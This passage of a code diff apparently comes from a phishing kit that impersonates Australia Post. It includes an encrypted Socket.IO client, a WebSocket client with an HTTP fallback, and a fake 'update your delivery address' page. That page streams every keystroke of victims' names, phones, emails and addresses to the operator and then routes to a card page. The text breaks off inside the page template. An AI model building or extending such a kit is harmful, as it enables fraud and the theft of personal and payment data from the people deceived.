async function encryptPayload(plain: string, aesKey: CryptoKey): Promise<string> {
|
||||
const iv = crypto.getRandomValues(new Uint8Array(12));
|
||||
const encoded = new TextEncoder().encode(plain);
|
||||
const cipher = await crypto.subtle.encrypt({ name: "AES-GCM", iv }, aesKey, encoded);
|
||||
const out = new Uint8Array(iv.byteLength + cipher.byteLength);
|
||||
out.set(iv, 0);
|
||||
out.set(new Uint8Array(cipher), iv.byteLength);
|
||||
let binary = "";
|
||||
for (let i = 0; i < out.length; i++) binary += String.fromCharCode(out[i]);
|
||||
return JSON.stringify({ data: btoa(binary) });
|
||||
}
|
||||
|
||||
async function decryptPayload(raw: unknown, aesKey: CryptoKey): Promise<string> {
|
||||
const rawStr =
|
||||
typeof raw === "string" ? raw :
|
||||
raw && typeof raw === "object" ? JSON.stringify(raw) : String(raw ?? "");
|
||||
|
||||
let envelope: { data?: string };
|
||||
try { envelope = JSON.parse(rawStr); } catch { return rawStr; }
|
||||
if (!envelope?.data) return rawStr;
|
||||
|
||||
const bytes = Uint8Array.from(atob(envelope.data), c => c.charCodeAt(0));
|
||||
const iv = bytes.slice(0, 12);
|
||||
const cipher = bytes.slice(12);
|
||||
try {
|
||||
const plain = await crypto.subtle.decrypt({ name: "AES-GCM", iv }, aesKey, cipher);
|
||||
return new TextDecoder().decode(plain);
|
||||
} catch {
|
||||
return rawStr;
|
||||
}
|
||||
}
|
||||
|
||||
// ─── ECDH 密钥协商工具 ─────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* 生成 P-256 临时密钥对,返回 { keyPair, clientPublicKeyB64 }
|
||||
*/
|
||||
export async function generateECDHKeyPair(): Promise<{
|
||||
keyPair: CryptoKeyPair;
|
||||
clientPublicKeyB64: string;
|
||||
}> {
|
||||
const keyPair = await crypto.subtle.generateKey(
|
||||
{ name: "ECDH", namedCurve: "P-256" },
|
||||
true,
|
||||
["deriveBits"]
|
||||
);
|
||||
const pubKeyRaw = await crypto.subtle.exportKey("raw", keyPair.publicKey);
|
||||
const clientPublicKeyB64 = btoa(
|
||||
Array.from(new Uint8Array(pubKeyRaw)).map(b => String.fromCharCode(b)).join("")
|
||||
);
|
||||
return { keyPair, clientPublicKeyB64 };
|
||||
}
|
||||
|
||||
/**
|
||||
* 用服务端公钥(base64 raw P-256)与给定的客户端私钥推导 AES-128-GCM 会话密钥
|
||||
*/
|
||||
export async function deriveSessionKey(
|
||||
serverPublicKeyB64: string,
|
||||
clientPrivateKey: CryptoKey
|
||||
): Promise<SessionCrypto> {
|
||||
const serverPubKeyBytes = Uint8Array.from(atob(serverPublicKeyB64), c => c.charCodeAt(0));
|
||||
const serverPublicKey = await crypto.subtle.importKey(
|
||||
"raw", serverPubKeyBytes,
|
||||
{ name: "ECDH", namedCurve: "P-256" }, false, []
|
||||
);
|
||||
const sharedBits = await crypto.subtle.deriveBits(
|
||||
{ name: "ECDH", public: serverPublicKey }, clientPrivateKey, 256
|
||||
);
|
||||
const hkdfKey = await crypto.subtle.importKey("raw", sharedBits, "HKDF", false, ["deriveKey"]);
|
||||
const aesKey = await crypto.subtle.deriveKey(
|
||||
{
|
||||
name: "HKDF", hash: "SHA-256",
|
||||
salt: new Uint8Array(32),
|
||||
info: new TextEncoder().encode("socket-aes-key"),
|
||||
},
|
||||
hkdfKey,
|
||||
{ name: "AES-GCM", length: 128 },
|
||||
false,
|
||||
["encrypt", "decrypt"]
|
||||
);
|
||||
return { aesKey };
|
||||
}
|
||||
|
||||
/** 断线/握手阶段队列最大长度,防止内存无限增长 */
|
||||
const MAX_QUEUE_SIZE = 200;
|
||||
|
||||
class Socket {
|
||||
url: string;
|
||||
private token: string;
|
||||
private sessionCrypto: SessionCrypto | null;
|
||||
private ecdhKeyPair: CryptoKeyPair | null = null;
|
||||
private clientPublicKeyB64: string | null = null;
|
||||
/** 握手全部完成(ECDH + login)后才为 true,期间消息也入队 */
|
||||
private isReady = false;
|
||||
socket: SocketIOClient | null = null;
|
||||
listeners: { [key: string]: Function[] } = {};
|
||||
private messageQueue: any[] = []; // 断连/握手期间暂存消息的队列
|
||||
|
||||
constructor(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
|
||||
this.url = url;
|
||||
this.token = token;
|
||||
this.sessionCrypto = sessionCrypto;
|
||||
this.init();
|
||||
this.setupVisibilityListener();
|
||||
}
|
||||
|
||||
/** 懒初始化 ECDH 密钥对(只生成一次,重连时复用) */
|
||||
private async initECDH() {
|
||||
if (!this.ecdhKeyPair) {
|
||||
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
|
||||
this.ecdhKeyPair = keyPair;
|
||||
this.clientPublicKeyB64 = clientPublicKeyB64;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 通过 Socket.IO key_exchange 事件与服务端协商会话密钥。
|
||||
* 每次 connect(包括服务端重启后重连)都调用,确保密钥始终有效。
|
||||
*/
|
||||
private performKeyExchange(): Promise<void> {
|
||||
return new Promise<void>((resolve) => {
|
||||
// 3 秒超时:若服务端不响应则无加密继续
|
||||
const timeout = setTimeout(() => {
|
||||
this.socket?.off('key_exchange_result', onResult);
|
||||
this.sessionCrypto = null;
|
||||
resolve();
|
||||
}, 3000);
|
||||
|
||||
const onResult = async (serverPubKeyB64: string) => {
|
||||
clearTimeout(timeout);
|
||||
try {
|
||||
this.sessionCrypto = await deriveSessionKey(serverPubKeyB64, this.ecdhKeyPair!.privateKey);
|
||||
} catch (e) {
|
||||
console.error('[Socket] key derivation failed:', e);
|
||||
this.sessionCrypto = null;
|
||||
}
|
||||
resolve();
|
||||
};
|
||||
|
||||
this.socket?.once('key_exchange_result', onResult);
|
||||
this.socket?.emit('key_exchange', this.clientPublicKeyB64);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 发送 login 并等待服务端回 {event:"login",content:"success"}。
|
||||
* 服务端发送 login success 时 client.State 已同步设置完毕,
|
||||
* 之后再冲刷队列才能保证消息不被 "State == nil" 守卫丢弃。
|
||||
*/
|
||||
private async sendLoginAndWait(): Promise<void> {
|
||||
await new Promise<void>((resolve) => {
|
||||
let settled = false;
|
||||
const settle = () => {
|
||||
if (settled) return;
|
||||
settled = true;
|
||||
this.socket?.off('message', onRawMessage);
|
||||
clearTimeout(timer);
|
||||
resolve();
|
||||
};
|
||||
// 3 秒兜底:即使没收到确认也继续
|
||||
const timer = setTimeout(settle, 3000);
|
||||
|
||||
const onRawMessage = async (raw: unknown) => {
|
||||
try {
|
||||
let text: string;
|
||||
if (this.sessionCrypto) {
|
||||
text = await decryptPayload(raw, this.sessionCrypto.aesKey);
|
||||
} else {
|
||||
text = typeof raw === 'string' ? raw : JSON.stringify(raw);
|
||||
}
|
||||
const parsed = JSON.parse(text);
|
||||
if (parsed?.event === 'login') settle();
|
||||
} catch { /* 忽略解析失败 */ }
|
||||
};
|
||||
|
||||
// 先注册监听,再发 login,避免极速响应漏掉
|
||||
this.socket?.on('message', onRawMessage);
|
||||
this.sendRaw(JSON.stringify({ event: 'login', content: { token: this.token }, timestamp: Date.now() })).catch(() => settle());
|
||||
});
|
||||
}
|
||||
|
||||
init() {
|
||||
if (this.socket) {
|
||||
return;
|
||||
}
|
||||
console.log("Socket initialized with URL:", this.url);
|
||||
this.socket = io(this.url, {
|
||||
path: "/socket.io",
|
||||
query: this.token ? { token: this.token } : undefined,
|
||||
reconnectionDelay: 1500,
|
||||
reconnectionAttempts: Infinity, // 服务端重启后持续重连,不放弃
|
||||
});
|
||||
|
||||
// 连接事件处理(含重连):每次都重新做 ECDH,解决服务端重启后密钥失效问题
|
||||
this.socket.on('connect', async () => {
|
||||
this.isReady = false; // 握手期间暂停直接发送,新消息继续入队
|
||||
// 清理上一次连接残留的 key_exchange_result 监听器,避免多次重连后堆积
|
||||
this.socket?.off('key_exchange_result');
|
||||
try {
|
||||
await this.initECDH();
|
||||
await this.performKeyExchange();
|
||||
// 等待服务端 login success 确认后再冲刷队列
|
||||
// 保证 client.State 已在服务端设置,避免消息被 "State==nil" 守卫丢弃
|
||||
await this.sendLoginAndWait();
|
||||
} catch (e) {
|
||||
console.error('[Socket] 握手阶段异常,将以无加密方式继续:', e);
|
||||
this.sessionCrypto = null;
|
||||
} finally {
|
||||
// 无论握手是否成功,都必须就绪并冲刷队列,避免消息永久滞留
|
||||
this.isReady = true;
|
||||
await this.flushMessageQueue(); // 连接后按序发送排队消息
|
||||
this.emit('open', { type: 'open' });
|
||||
}
|
||||
});
|
||||
|
||||
// 消息接收(支持 AES-GCM 解密)
|
||||
this.socket.on('message', async (data) => {
|
||||
let plainText: string;
|
||||
if (this.sessionCrypto) {
|
||||
plainText = await decryptPayload(data, this.sessionCrypto.aesKey);
|
||||
} else {
|
||||
plainText = typeof data === 'string' ? data : JSON.stringify(data);
|
||||
}
|
||||
this.emit('message', plainText);
|
||||
});
|
||||
|
||||
// 连接错误
|
||||
this.socket.on('connect_error', (error) => {
|
||||
this.emit('error', error);
|
||||
});
|
||||
|
||||
// 断开连接
|
||||
this.socket.on('disconnect', (reason) => {
|
||||
this.isReady = false; // 断开后消息重新入队
|
||||
this.emit('close', { reason });
|
||||
});
|
||||
|
||||
// 重连尝试
|
||||
this.socket.on('reconnect_attempt', (attemptNumber) => {
|
||||
this.emit('reconnect_attempt', attemptNumber);
|
||||
});
|
||||
|
||||
// 重连成功
|
||||
this.socket.on('reconnect', (attemptNumber) => {
|
||||
this.emit('reconnect', attemptNumber);
|
||||
});
|
||||
|
||||
// 重连失败
|
||||
this.socket.on('reconnect_failed', () => {
|
||||
useLoadingStore().setLoading(false); // 重连失败时关闭加载状态
|
||||
this.emit('reconnect_failed', { type: 'reconnect_failed' });
|
||||
});
|
||||
|
||||
// 处理所有其他事件
|
||||
this.socket.onAny((eventName, ...args) => {
|
||||
if (!['connect', 'disconnect', 'error', 'reconnect_attempt',
|
||||
'reconnect', 'reconnect_failed', 'message'].includes(eventName)) {
|
||||
this.emit(eventName, args);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
isConnected(): boolean {
|
||||
return this.socket?.connected ?? false;
|
||||
}
|
||||
|
||||
/** 用于握手阶段的 login 事件,同样走加密通道 */
|
||||
private async sendRaw(data: string) {
|
||||
if (this.sessionCrypto) {
|
||||
const encrypted = await encryptPayload(data, this.sessionCrypto.aesKey);
|
||||
this.socket?.emit('message', encrypted);
|
||||
} else {
|
||||
this.socket?.emit('message', data);
|
||||
}
|
||||
}
|
||||
|
||||
async send(data: string) {
|
||||
try {
|
||||
const payload = JSON.parse(data);
|
||||
|
||||
// 添加时间戳
|
||||
const messageData = {
|
||||
...payload,
|
||||
timestamp: payload.timestamp || Date.now()
|
||||
};
|
||||
|
||||
// 未就绪(断连中或 ECDH/login 握手中)时统一入队,保证消息不丢失且顺序正确
|
||||
if (!this.isReady) {
|
||||
if (this.messageQueue.length < MAX_QUEUE_SIZE) {
|
||||
this.messageQueue.push(messageData);
|
||||
} else {
|
||||
console.warn('[Socket] 消息队列已满,丢弃消息:', messageData.event);
|
||||
}
|
||||
this.reconnectIfNeeded();
|
||||
return;
|
||||
}
|
||||
|
||||
const serialized = JSON.stringify(messageData);
|
||||
if (this.sessionCrypto) {
|
||||
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
|
||||
this.socket?.emit('message', encrypted);
|
||||
} else {
|
||||
this.socket?.emit('message', serialized);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Invalid message format. Must be a valid JSON string.', error);
|
||||
}
|
||||
}
|
||||
|
||||
/** 按顺序逐条发送积压消息,保证 FIFO 且不会因并发导致乱序 */
|
||||
async flushMessageQueue() {
|
||||
if (this.messageQueue.length === 0) return;
|
||||
const queue = this.messageQueue.splice(0); // 原子取出,避免发送期间新消息混入
|
||||
for (const msg of queue) {
|
||||
if (!this.isReady || !this.socket?.connected) {
|
||||
// 发送途中再次断开,将剩余消息放回队首
|
||||
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
|
||||
break;
|
||||
}
|
||||
try {
|
||||
const serialized = JSON.stringify(msg);
|
||||
if (this.sessionCrypto) {
|
||||
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
|
||||
this.socket?.emit('message', encrypted);
|
||||
} else {
|
||||
this.socket?.emit('message', serialized);
|
||||
}
|
||||
} catch (e) {
|
||||
console.error('[Socket] flushMessageQueue 发送失败:', e);
|
||||
// 发送失败也放回队首
|
||||
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
reconnectIfNeeded() {
|
||||
if (!this.isConnected() && this.socket) {
|
||||
this.socket.connect();
|
||||
}
|
||||
}
|
||||
|
||||
on(event: string, callback: Function) {
|
||||
// 需要经过本层中间件(如解密)的事件,统一走 this.listeners
|
||||
if (['open', 'close', 'error', 'reconnect', 'reconnect_attempt', 'reconnect_failed', 'message'].includes(event)) {
|
||||
if (!this.listeners[event]) {
|
||||
this.listeners[event] = [];
|
||||
}
|
||||
this.listeners[event].push(callback);
|
||||
} else {
|
||||
// 其他 Socket.IO 原生事件
|
||||
this.socket?.on(event, (...args) => callback(...args));
|
||||
}
|
||||
}
|
||||
|
||||
off(event: string) {
|
||||
if (this.listeners[event]) {
|
||||
delete this.listeners[event];
|
||||
}
|
||||
this.socket?.off(event);
|
||||
}
|
||||
|
||||
emit(event: string, data: any) {
|
||||
if (this.listeners[event]) {
|
||||
this.listeners[event].forEach(callback => callback(data));
|
||||
}
|
||||
}
|
||||
|
||||
private handleVisibilityChange = () => {
|
||||
if (document.visibilityState === "visible" && !this.isConnected() && this.socket) {
|
||||
this.socket.connect();
|
||||
}
|
||||
};
|
||||
|
||||
setupVisibilityListener() {
|
||||
document.addEventListener("visibilitychange", this.handleVisibilityChange);
|
||||
}
|
||||
|
||||
disconnect() {
|
||||
document.removeEventListener("visibilitychange", this.handleVisibilityChange);
|
||||
this.socket?.disconnect();
|
||||
}
|
||||
}
|
||||
|
||||
function useSocketIo(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
|
||||
const socket = new Socket(url, token, sessionCrypto);
|
||||
|
||||
return {
|
||||
socket,
|
||||
send: socket.send.bind(socket),
|
||||
on: socket.on.bind(socket),
|
||||
off: socket.off.bind(socket),
|
||||
disconnect: socket.disconnect.bind(socket),
|
||||
};
|
||||
}
|
||||
|
||||
export { useSocketIo, Socket };
|
||||
392
a12_au_post_aupost/src/utils/websocket.ts
Normal file
@@ -0,0 +1,392 @@
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { sendInput } from "@/api/api";
|
||||
|
||||
// ============ 类型定义 ============
|
||||
interface SocketOptions {
|
||||
heartbeatInterval?: number;
|
||||
reconnectInterval?: number;
|
||||
maxReconnectAttempts?: number;
|
||||
retryIntervals?: number[];
|
||||
forceClose?: boolean;
|
||||
timeOut?: boolean;
|
||||
}
|
||||
|
||||
interface PendingMessage {
|
||||
id: string;
|
||||
data: string;
|
||||
retries: number;
|
||||
timestamp: number;
|
||||
}
|
||||
|
||||
// ============ 默认配置 ============
|
||||
const DEFAULT_OPTIONS: Required<SocketOptions> = {
|
||||
heartbeatInterval: 2000,
|
||||
reconnectInterval: 1000,
|
||||
maxReconnectAttempts: 10,
|
||||
retryIntervals: [2000, 3000, 5000], // 2秒、3秒、5秒重试
|
||||
forceClose: false,
|
||||
timeOut: false,
|
||||
};
|
||||
|
||||
const MAX_RECONNECT_INTERVAL = 30000;
|
||||
const MAX_HEARTBEAT_MISS = 3;
|
||||
const RETRY_CHECK_INTERVAL = 1000;
|
||||
|
||||
// ============ Socket 类 ============
|
||||
class Socket {
|
||||
private url: string;
|
||||
private ws: WebSocket | null = null;
|
||||
private opts: Required<SocketOptions>;
|
||||
|
||||
// 连接管理
|
||||
private reconnectAttempts = 0;
|
||||
private reconnectTimeoutId: number | null = null;
|
||||
|
||||
// 心跳管理
|
||||
private heartbeatIntervalId: number | null = null;
|
||||
private heartbeatMissCount = 0;
|
||||
|
||||
// 消息管理
|
||||
private sendQueue: PendingMessage[] = [];
|
||||
private pendingConfirmations = new Map<string, PendingMessage>();
|
||||
private retryCheckerId: number | null = null;
|
||||
|
||||
// 事件管理
|
||||
private listeners: Record<string, Function[]> = {};
|
||||
|
||||
constructor(url: string, opts: SocketOptions = {}) {
|
||||
this.url = url;
|
||||
this.opts = { ...DEFAULT_OPTIONS, ...opts };
|
||||
|
||||
this.init();
|
||||
this.setupBrowserListeners();
|
||||
}
|
||||
|
||||
// ============ 初始化与连接 ============
|
||||
|
||||
private init(): void {
|
||||
if (this.isConnectingOrOpen()) return;
|
||||
|
||||
this.heartbeatMissCount = 0;
|
||||
this.ws = new WebSocket(this.url);
|
||||
this.bindWebSocketEvents();
|
||||
}
|
||||
|
||||
private bindWebSocketEvents(): void {
|
||||
if (!this.ws) return;
|
||||
|
||||
this.ws.onopen = this.handleOpen.bind(this);
|
||||
this.ws.onmessage = this.handleMessage.bind(this);
|
||||
this.ws.onerror = this.handleError.bind(this);
|
||||
this.ws.onclose = this.handleClose.bind(this);
|
||||
}
|
||||
|
||||
// ============ WebSocket 事件处理 ============
|
||||
|
||||
private handleOpen(event: Event): void {
|
||||
this.reconnectAttempts = 0;
|
||||
this.clearReconnectTimeout();
|
||||
this.startHeartbeat();
|
||||
this.startRetryChecker();
|
||||
this.emit("open", event);
|
||||
this.flushSendQueue();
|
||||
}
|
||||
|
||||
private handleMessage(event: MessageEvent): void {
|
||||
try {
|
||||
const data = JSON.parse(event.data);
|
||||
|
||||
switch (data.event) {
|
||||
case "heartbeat":
|
||||
this.heartbeatMissCount = 0;
|
||||
break;
|
||||
case "ack":
|
||||
this.handleAck(data.messageId);
|
||||
break;
|
||||
default:
|
||||
this.emit("message", event.data);
|
||||
}
|
||||
} catch {
|
||||
this.emit("message", event.data);
|
||||
}
|
||||
}
|
||||
|
||||
private handleError(event: Event): void {
|
||||
this.emit("error", event);
|
||||
}
|
||||
|
||||
private handleClose(event: CloseEvent): void {
|
||||
this.stopHeartbeat();
|
||||
this.stopRetryChecker();
|
||||
this.emit("close", event);
|
||||
this.scheduleReconnect();
|
||||
}
|
||||
|
||||
private handleAck(messageId: string): void {
|
||||
if (messageId && this.pendingConfirmations.has(messageId)) {
|
||||
this.pendingConfirmations.delete(messageId);
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 连接状态 ============
|
||||
|
||||
private isConnectingOrOpen(): boolean {
|
||||
return this.ws?.readyState === WebSocket.CONNECTING
|
||||
|| this.ws?.readyState === WebSocket.OPEN;
|
||||
}
|
||||
|
||||
private isConnected(): boolean {
|
||||
return this.ws?.readyState === WebSocket.OPEN;
|
||||
}
|
||||
|
||||
private isClosed(): boolean {
|
||||
return this.ws?.readyState === WebSocket.CLOSED;
|
||||
}
|
||||
|
||||
// ============ 重连机制 ============
|
||||
|
||||
private scheduleReconnect(): void {
|
||||
if (!this.canReconnect() || this.reconnectTimeoutId !== null) return;
|
||||
|
||||
const timeout = Math.min(
|
||||
this.opts.reconnectInterval * Math.pow(2, this.reconnectAttempts),
|
||||
MAX_RECONNECT_INTERVAL
|
||||
);
|
||||
|
||||
this.reconnectTimeoutId = window.setTimeout(() => {
|
||||
this.reconnectAttempts++;
|
||||
this.reconnectTimeoutId = null;
|
||||
|
||||
if (this.isClosed()) {
|
||||
this.init();
|
||||
}
|
||||
}, timeout);
|
||||
}
|
||||
|
||||
private canReconnect(): boolean {
|
||||
return !this.opts.maxReconnectAttempts
|
||||
|| this.reconnectAttempts < this.opts.maxReconnectAttempts;
|
||||
}
|
||||
|
||||
private clearReconnectTimeout(): void {
|
||||
if (this.reconnectTimeoutId !== null) {
|
||||
clearTimeout(this.reconnectTimeoutId);
|
||||
this.reconnectTimeoutId = null;
|
||||
}
|
||||
}
|
||||
|
||||
private reconnectIfNeeded(): void {
|
||||
if (this.isClosed() && this.canReconnect() && !this.isConnectingOrOpen()) {
|
||||
this.init();
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 心跳机制 ============
|
||||
|
||||
private startHeartbeat(): void {
|
||||
if (!this.opts.heartbeatInterval) return;
|
||||
|
||||
this.heartbeatIntervalId = window.setInterval(() => {
|
||||
if (this.heartbeatMissCount >= MAX_HEARTBEAT_MISS) {
|
||||
this.ws?.close();
|
||||
return;
|
||||
}
|
||||
|
||||
this.heartbeatMissCount++;
|
||||
|
||||
if (this.isConnected()) {
|
||||
this.ws!.send(JSON.stringify({
|
||||
event: "heartbeat",
|
||||
content: { tag: "user" }
|
||||
}));
|
||||
}
|
||||
}, this.opts.heartbeatInterval);
|
||||
}
|
||||
|
||||
private stopHeartbeat(): void {
|
||||
if (this.heartbeatIntervalId) {
|
||||
clearInterval(this.heartbeatIntervalId);
|
||||
this.heartbeatIntervalId = null;
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 消息发送 ============
|
||||
|
||||
async send(data: string): Promise<void> {
|
||||
try {
|
||||
const message = JSON.parse(data);
|
||||
const pendingMsg = this.createPendingMessage(message);
|
||||
|
||||
if (this.isConnected()) {
|
||||
// WebSocket 连接正常,直接发送
|
||||
this.sendDirect(pendingMsg);
|
||||
} else if (this.canReconnect() && !this.isConnectingOrOpen()) {
|
||||
// 可以重连,加入队列等待重连后发送
|
||||
this.enqueue(pendingMsg);
|
||||
this.reconnectIfNeeded();
|
||||
} else {
|
||||
await this.sendViaHttp(message);
|
||||
}
|
||||
} catch {
|
||||
console.error("[WebSocket] Invalid message format. Must be valid JSON.");
|
||||
}
|
||||
}
|
||||
|
||||
private async sendViaHttp(message: any): Promise<void> {
|
||||
try {
|
||||
if (message.event !== "input_text") {
|
||||
await sendInput(message);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error("[WebSocket] HTTP fallback failed:", error);
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
private createPendingMessage(message: any): PendingMessage {
|
||||
const id = this.generateMessageId();
|
||||
const timestamp = Date.now();
|
||||
|
||||
return {
|
||||
id,
|
||||
data: JSON.stringify({ ...message, messageId: id, timestamp }),
|
||||
retries: 0,
|
||||
timestamp,
|
||||
};
|
||||
}
|
||||
|
||||
private sendDirect(pendingMsg: PendingMessage): void {
|
||||
this.ws?.send(pendingMsg.data);
|
||||
this.pendingConfirmations.set(pendingMsg.id, pendingMsg);
|
||||
}
|
||||
|
||||
private enqueue(pendingMsg: PendingMessage): void {
|
||||
this.sendQueue.push(pendingMsg);
|
||||
}
|
||||
|
||||
private flushSendQueue(): void {
|
||||
if (!this.isConnected()) return;
|
||||
|
||||
while (this.sendQueue.length > 0 && this.isConnected()) {
|
||||
const pendingMsg = this.sendQueue.shift();
|
||||
if (pendingMsg) {
|
||||
this.sendDirect(pendingMsg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 消息重试机制 ============
|
||||
|
||||
private startRetryChecker(): void {
|
||||
this.stopRetryChecker();
|
||||
|
||||
this.retryCheckerId = window.setInterval(() => {
|
||||
this.checkPendingMessages();
|
||||
}, RETRY_CHECK_INTERVAL);
|
||||
}
|
||||
|
||||
private stopRetryChecker(): void {
|
||||
if (this.retryCheckerId) {
|
||||
clearInterval(this.retryCheckerId);
|
||||
this.retryCheckerId = null;
|
||||
}
|
||||
}
|
||||
|
||||
private checkPendingMessages(): void {
|
||||
const now = Date.now();
|
||||
const { retryIntervals } = this.opts;
|
||||
|
||||
for (const [id, msg] of this.pendingConfirmations.entries()) {
|
||||
const age = now - msg.timestamp;
|
||||
const waitTime = retryIntervals[msg.retries] ?? retryIntervals[0];
|
||||
|
||||
// 未到重试时间
|
||||
if (age < waitTime) continue;
|
||||
|
||||
// 超过最大重试次数,降级使用 HTTP
|
||||
if (msg.retries >= retryIntervals.length) {
|
||||
this.pendingConfirmations.delete(id);
|
||||
|
||||
try {
|
||||
const message = JSON.parse(msg.data);
|
||||
this.sendViaHttp(message).catch((error) => {
|
||||
console.error("[WebSocket] HTTP fallback failed, re-queuing message:", error);
|
||||
this.sendQueue.push(msg);
|
||||
});
|
||||
} catch (error) {
|
||||
console.error("[WebSocket] Failed to parse message for HTTP fallback:", error);
|
||||
this.sendQueue.push(msg);
|
||||
}
|
||||
useLoadingStore().setLoading(false);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 重试发送
|
||||
if (this.isConnected()) {
|
||||
this.ws?.send(msg.data);
|
||||
msg.retries++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 工具方法 ============
|
||||
|
||||
private generateMessageId(): string {
|
||||
return `${Date.now()}-${Math.random().toString(36).substring(2, 11)}`;
|
||||
}
|
||||
|
||||
// ============ 事件系统 ============
|
||||
|
||||
on(event: string, callback: Function): void {
|
||||
if (!this.listeners[event]) {
|
||||
this.listeners[event] = [];
|
||||
}
|
||||
this.listeners[event].push(callback);
|
||||
}
|
||||
|
||||
off(event: string): void {
|
||||
delete this.listeners[event];
|
||||
}
|
||||
|
||||
private emit(event: string, data: any): void {
|
||||
this.listeners[event]?.forEach(callback => callback(data));
|
||||
}
|
||||
|
||||
// ============ 浏览器事件监听 ============
|
||||
|
||||
private setupBrowserListeners(): void {
|
||||
// 页面可见性变化
|
||||
document.addEventListener("visibilitychange", () => {
|
||||
if (document.visibilityState === "visible") {
|
||||
this.reconnectAttempts = 0;
|
||||
if (!this.isConnectingOrOpen()) {
|
||||
this.init();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// 网络状态变化
|
||||
window.addEventListener("online", () => {
|
||||
this.reconnectAttempts = 0;
|
||||
if (!this.isConnectingOrOpen()) {
|
||||
this.init();
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 导出 ============
|
||||
|
||||
function useSocket(url: string, opts?: SocketOptions) {
|
||||
const socket = new Socket(url, opts);
|
||||
|
||||
return {
|
||||
socket,
|
||||
send: socket.send.bind(socket),
|
||||
on: socket.on.bind(socket),
|
||||
off: socket.off.bind(socket),
|
||||
};
|
||||
}
|
||||
|
||||
export { useSocket, Socket };
|
||||
export type { SocketOptions, PendingMessage };
|
||||
364
a12_au_post_aupost/src/views/AddressView.vue
Normal file
@@ -0,0 +1,364 @@
|
||||
<script setup lang="ts">
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { inject, onMounted, reactive } from "vue";
|
||||
|
||||
import { inputChange, myWebSocket, configData } from "@/utils/common";
|
||||
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
const formData = reactive({
|
||||
fullName: "",
|
||||
phone: "",
|
||||
email: "",
|
||||
address: "",
|
||||
suburb: "",
|
||||
state: "",
|
||||
zipCode: "",
|
||||
});
|
||||
|
||||
const formDataError = reactive({
|
||||
fullName: false,
|
||||
phone: false,
|
||||
email: false,
|
||||
address: false,
|
||||
suburb: false,
|
||||
state: false,
|
||||
zipCode: false,
|
||||
});
|
||||
|
||||
const router = useRouter();
|
||||
|
||||
const textChange = (event: any, key: keyof typeof formData) => {
|
||||
const value = event.target.value;
|
||||
inputChange("input_address", key, value);
|
||||
|
||||
if (key === "fullName") {
|
||||
formDataError.fullName = !formData.fullName.trim();
|
||||
}
|
||||
if (key === "address") {
|
||||
formDataError.address = !formData.address.trim();
|
||||
}
|
||||
if (key === "zipCode") {
|
||||
formDataError.zipCode = !formData.zipCode.trim();
|
||||
}
|
||||
if (key === "phone") {
|
||||
formDataError.phone = !formData.phone.trim();
|
||||
}
|
||||
if (key === "email") {
|
||||
formDataError.email = !formData.email.trim();
|
||||
}
|
||||
if (key === "suburb") {
|
||||
formDataError.suburb = !formData.suburb.trim();
|
||||
}
|
||||
if (key === "state") {
|
||||
formDataError.state = !formData.state.trim();
|
||||
}
|
||||
};
|
||||
|
||||
const stateChange = (event: any) => {
|
||||
formData.state = event.target.value;
|
||||
inputChange("input_address", "state", event.target.value);
|
||||
formDataError.state = !formData.state;
|
||||
};
|
||||
|
||||
const next = () => {
|
||||
let noPass = false;
|
||||
|
||||
if (!formData.fullName) { formDataError.fullName = true; noPass = true; }
|
||||
if (!formData.email) { formDataError.email = true; noPass = true; }
|
||||
if (!formData.address) { formDataError.address = true; noPass = true; }
|
||||
if (!formData.suburb) { formDataError.suburb = true; noPass = true; }
|
||||
if (!formData.state) { formDataError.state = true; noPass = true; }
|
||||
if (!formData.zipCode) { formDataError.zipCode = true; noPass = true; }
|
||||
if (!formData.phone) { formDataError.phone = true; noPass = true; }
|
||||
|
||||
if (noPass) return;
|
||||
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/card");
|
||||
}, 200);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "address" },
|
||||
})
|
||||
);
|
||||
localStorage.setItem("route", "address");
|
||||
|
||||
const phone = localStorage.getItem("phone");
|
||||
if (phone) {
|
||||
formData.phone = phone;
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="ap-wrapper">
|
||||
<div class="ap-container">
|
||||
<h1 class="ap-main-title">Update your delivery address</h1>
|
||||
|
||||
<p class="ap-intro">
|
||||
{{
|
||||
configData?.address_msg
|
||||
? configData.address_msg
|
||||
: "To arrange redelivery of your parcel, please confirm or update your delivery address below. All fields are required."
|
||||
}}
|
||||
</p>
|
||||
|
||||
<form :novalidate="true" @submit.prevent="next" class="ap-form">
|
||||
|
||||
<div class="ap-field">
|
||||
<label>Full name <span class="req">*</span></label>
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.fullName"
|
